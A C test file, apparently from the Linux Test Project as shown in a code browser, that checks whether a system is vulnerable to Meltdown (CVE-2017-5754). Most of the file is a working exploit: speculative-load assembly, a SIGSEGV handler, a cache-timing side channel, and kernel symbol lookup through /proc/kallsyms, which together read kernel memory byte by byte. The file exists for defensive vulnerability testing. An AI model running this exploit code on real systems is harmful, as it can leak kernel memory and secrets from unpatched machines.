• Home
  • Line#
  • Scopes#
  • Navigate#
  • Raw
  • Download
1 // SPDX-License-Identifier: GPL-2.0-or-later
2 /*
3  * Copyright (c) 2018 Pavel Boldin <pboldin@cloudlinux.com>
4  */
5 
6 /*\
7  * [Description]
8  *
9  * Test for CVE-2017-5754 (Meltdown).
10  *
11  * https://meltdownattack.com/
12  */
13 
14 #include "config.h"
15 #include "tst_test.h"
16 
17 #include <stdio.h>
18 #include <string.h>
19 #include <signal.h>
20 #include <ucontext.h>
21 #include <unistd.h>
22 #include <fcntl.h>
23 #include <ctype.h>
24 #include <sys/utsname.h>
25 
26 /* emmintrin.h may exist for some non-x86 systems as an emulation */
27 #if defined(HAVE_EMMINTRIN_H) && (defined(__x86_64__) || defined(__i386__))
28 #include <emmintrin.h>
29 
30 #include "tst_tsc.h"
31 
32 #define TARGET_OFFSET	9
33 #define TARGET_SIZE	(1 << TARGET_OFFSET)
34 #define BITS_BY_READ	2
35 
36 static char target_array[BITS_BY_READ * TARGET_SIZE];
37 
38 static void
clflush_target(void)39 clflush_target(void)
40 {
41 	int i;
42 
43 	for (i = 0; i < BITS_BY_READ; i++)
44 		_mm_clflush(&target_array[i * TARGET_SIZE]);
45 }
46 
47 extern char failshere[];
48 extern char stopspeculate[];
49 
50 static void __attribute__((noinline))
speculate(unsigned long addr,char bit)51 speculate(unsigned long addr, char bit)
52 {
53 	register char mybit asm ("cl") = bit;
54 #ifdef __x86_64__
55 	asm volatile (
56 		"1:\n\t"
57 
58 		".rept 300\n\t"
59 		"add $0x141, %%rax\n\t"
60 		".endr\n"
61 
62 		"failshere:\n\t"
63 		"movb (%[addr]), %%al\n\t"
64 		"ror %[bit], %%rax\n\t"
65 		"and $1, %%rax\n\t"
66 		"shl $9, %%rax\n\t"
67 		"jz 1b\n\t"
68 
69 		"movq (%[target], %%rax, 1), %%rbx\n"
70 
71 		"stopspeculate: \n\t"
72 		"nop\n\t"
73 		:
74 		: [target] "r" (target_array),
75 		  [addr] "r" (addr),
76 		  [bit] "r" (mybit)
77 		: "rax", "rbx"
78 	);
79 #else /* defined(__x86_64__) */
80 	asm volatile (
81 		"1:\n\t"
82 
83 		".rept 300\n\t"
84 		"add $0x141, %%eax\n\t"
85 		".endr\n"
86 
87 		"failshere:\n\t"
88 		"movb (%[addr]), %%al\n\t"
89 		"ror %[bit], %%eax\n\t"
90 		"and $1, %%eax\n\t"
91 		"shl $9, %%eax\n\t"
92 		"jz 1b\n\t"
93 
94 		"movl (%[target], %%eax, 1), %%ebx\n"
95 
96 		"stopspeculate: \n\t"
97 		"nop\n\t"
98 		:
99 		: [target] "r" (target_array),
100 		  [addr] "r" (addr),
101 		  [bit] "r" (mybit)
102 		: "rax", "ebx"
103 	);
104 #endif
105 }
106 
107 #ifdef __i386__
108 # define REG_RIP	REG_EIP
109 #endif
110 
111 static void
sigsegv(int sig LTP_ATTRIBUTE_UNUSED,siginfo_t * siginfo LTP_ATTRIBUTE_UNUSED,void * context LTP_ATTRIBUTE_UNUSED)112 sigsegv(int sig LTP_ATTRIBUTE_UNUSED,
113 	siginfo_t *siginfo LTP_ATTRIBUTE_UNUSED,
114 	void *context LTP_ATTRIBUTE_UNUSED)
115 {
116 	ucontext_t *ucontext = context;
117 	unsigned long *prip = (unsigned long *)&ucontext->uc_mcontext.gregs[REG_RIP];
118 	if (*prip != (unsigned long)failshere) {
119 		tst_brk(TBROK,
120 			"Segmentation fault at unexpected location %lx",
121 			*prip);
122 		abort();
123 	}
124 	*prip = (unsigned long)stopspeculate;
125 	return;
126 }
127 
128 static int
set_signal(void)129 set_signal(void)
130 {
131 	struct sigaction act = {
132 		.sa_sigaction = sigsegv,
133 		.sa_flags = SA_SIGINFO,
134 	};
135 
136 	return sigaction(SIGSEGV, &act, NULL);
137 }
138 
139 static inline int
get_access_time(volatile char * addr)140 get_access_time(volatile char *addr)
141 {
142 	unsigned long long time1, time2;
143 	volatile int j LTP_ATTRIBUTE_UNUSED;
144 
145 	rdtscll(time1);
146 
147 	j = *addr;
148 
149 	_mm_mfence();
150 	rdtscll(time2);
151 
152 	return time2 - time1;
153 }
154 
155 static int cache_hit_threshold;
156 static int hist[BITS_BY_READ];
157 
158 static void
check(void)159 check(void)
160 {
161 	int i, time;
162 	volatile char *addr;
163 
164 	for (i = 0; i < BITS_BY_READ; i++) {
165 		addr = &target_array[i * TARGET_SIZE];
166 
167 		time = get_access_time(addr);
168 
169 		if (time <= cache_hit_threshold)
170 			hist[i]++;
171 	}
172 }
173 
174 #define CYCLES 10000
175 static int
readbit(int fd,unsigned long addr,char bit)176 readbit(int fd, unsigned long addr, char bit)
177 {
178 	int i, ret;
179 	static char buf[256];
180 
181 	memset(hist, 0, sizeof(hist));
182 
183 	for (i = 0; i < CYCLES; i++) {
184 		ret = pread(fd, buf, sizeof(buf), 0);
185 		if (ret < 0)
186 			tst_res(TFAIL | TERRNO, "can't read fd");
187 
188 		clflush_target();
189 
190 		speculate(addr, bit);
191 		check();
192 	}
193 
194 #ifdef DEBUG
195 	for (i = 0; i < BITS_BY_READ; i++)
196 		tst_res(TINFO, "addr %lx hist[%x] = %d", addr, i, hist[i]);
197 #endif
198 
199 	if (hist[1] > CYCLES / 10)
200 		return 1;
201 	return 0;
202 }
203 
204 static int
readbyte(int fd,unsigned long addr)205 readbyte(int fd, unsigned long addr)
206 {
207 	int bit, res = 0;
208 
209 	for (bit = 0; bit < 8; bit ++ )
210 		res |= (readbit(fd, addr, bit) << bit);
211 
212 	return res;
213 }
214 
215 
216 static int
mysqrt(long val)217 mysqrt(long val)
218 {
219 	int root = val / 2, prevroot = 0, i = 0;
220 
221 	while (prevroot != root && i++ < 100) {
222 		prevroot = root;
223 		root = (val / root + root) / 2;
224 	}
225 
226 	return root;
227 }
228 
229 #define ESTIMATE_CYCLES	1000000
230 static void
set_cache_hit_threshold(void)231 set_cache_hit_threshold(void)
232 {
233 	long cached, uncached, i;
234 
235 	for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
236 		cached += get_access_time(target_array);
237 
238 	for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
239 		cached += get_access_time(target_array);
240 
241 	for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {
242 		_mm_clflush(target_array);
243 		uncached += get_access_time(target_array);
244 	}
245 
246 	cached /= ESTIMATE_CYCLES;
247 	uncached /= ESTIMATE_CYCLES;
248 
249 	cache_hit_threshold = mysqrt(cached * uncached);
250 
251 	tst_res(TINFO,
252 		"access time: cached = %ld, uncached = %ld, threshold = %d",
253 		cached, uncached, cache_hit_threshold);
254 }
255 
256 static unsigned long
find_symbol_in_file(const char * filename,const char * symname)257 find_symbol_in_file(const char *filename, const char *symname)
258 {
259 	unsigned long addr;
260 	char type;
261 	int ret, read;
262 	char fmt[strlen(symname) + 64];
263 
264 	tst_res(TINFO, "Looking for %s in %s", symname, filename);
265 	if (access(filename, F_OK) == -1) {
266 		tst_res(TINFO, "%s not available", filename);
267 		return 0;
268 	}
269 
270 	sprintf(fmt, "%%lx %%c %s%%c", symname);
271 
272 	ret = FILE_LINES_SCANF(filename, fmt, &addr, &type, &read);
273 	if (ret)
274 		return 0;
275 
276 	return addr;
277 }
278 
279 static unsigned long
find_kernel_symbol(const char * name)280 find_kernel_symbol(const char *name)
281 {
282 	char systemmap[256];
283 	struct utsname utsname;
284 	unsigned long addr;
285 
286 	addr = find_symbol_in_file("/proc/kallsyms", name);
287 	if (addr)
288 		return addr;
289 
290 	if (uname(&utsname) < 0)
291 		tst_brk(TBROK | TERRNO, "uname");
292 	sprintf(systemmap, "/boot/System.map-%s", utsname.release);
293 	addr = find_symbol_in_file(systemmap, name);
294 	return addr;
295 }
296 
297 static unsigned long saved_cmdline_addr;
298 static int spec_fd;
299 
setup(void)300 static void setup(void)
301 {
302 	set_cache_hit_threshold();
303 
304 	saved_cmdline_addr = find_kernel_symbol("saved_command_line");
305 	tst_res(TINFO, "&saved_command_line == 0x%lx", saved_cmdline_addr);
306 
307 	if (!saved_cmdline_addr)
308 		tst_brk(TCONF, "saved_command_line not found");
309 
310 	spec_fd = SAFE_OPEN("/proc/cmdline", O_RDONLY);
311 
312 	memset(target_array, 1, sizeof(target_array));
313 
314 	if (set_signal() < 0)
315 		tst_res(TFAIL | TERRNO, "set_signal");
316 }
317 
318 #define READ_SIZE 32
319 
run(void)320 static void run(void)
321 {
322 	unsigned int i, score = 0, ret;
323 	unsigned long addr;
324 	unsigned long size;
325 	char read[READ_SIZE] = { 0 };
326 	char expected[READ_SIZE] = { 0 };
327 	int expected_len;
328 
329 	expected_len = pread(spec_fd, expected, sizeof(expected), 0);
330 	if (expected_len < 0)
331 		tst_res(TFAIL | TERRNO, "can't read test fd");
332 
333 	/* read address of saved_cmdline_addr */
334 	addr = saved_cmdline_addr;
335 	size = sizeof(addr);
336 	for (i = 0; i < size; i++) {
337 		ret = readbyte(spec_fd, addr);
338 
339 		read[i] = ret;
340 		tst_res(TINFO, "read %lx = 0x%02x %c", addr, ret,
341 			isprint(ret) ? ret : ' ');
342 
343 		addr++;
344 	}
345 
346 	/* read value pointed to by saved_cmdline_addr */
347 	memcpy(&addr, read, sizeof(addr));
348 	memset(read, 0, sizeof(read));
349 	tst_res(TINFO, "save_command_line: 0x%lx", addr);
350 	size = expected_len;
351 
352 	if (!addr)
353 		goto done;
354 
355 	for (i = 0; i < size; i++) {
356 		ret = readbyte(spec_fd, addr);
357 
358 		read[i] = ret;
359 		tst_res(TINFO, "read %lx = 0x%02x %c | expected 0x%02x |"
360 			" match: %d", addr, ret, isprint(ret) ? ret : ' ',
361 			expected[i], read[i] == expected[i]);
362 
363 		addr++;
364 	}
365 
366 	for (i = 0; i < size; i++)
367 		if (expected[i] == read[i])
368 			score++;
369 
370 done:
371 	if (score > size / 2)
372 		tst_res(TFAIL, "I was able to read your kernel memory!!!");
373 	else
374 		tst_res(TPASS, "I was not able to read your kernel memory");
375 	tst_res(TINFO, "score(matched/all): %u / %lu", score, size);
376 }
377 
cleanup(void)378 static void cleanup(void)
379 {
380 	SAFE_CLOSE(spec_fd);
381 }
382 
383 static struct tst_test test = {
384 	.needs_root = 1,
385 	.setup = setup,
386 	.test_all = run,
387 	.cleanup = cleanup,
388 	.supported_archs = (const char *const []) {
389 		"x86",
390 		"x86_64",
391 		NULL
392 	},
393 	.tags = (const struct tst_tag[]) {
394 		{"CVE", "2017-5754"},
395 		{}
396 	}
397 };
398 
399 #else /* HAVE_EMMINTRIN_H */
400 	TST_TEST_TCONF("<emmintrin.h> is not supported");
401 #endif
402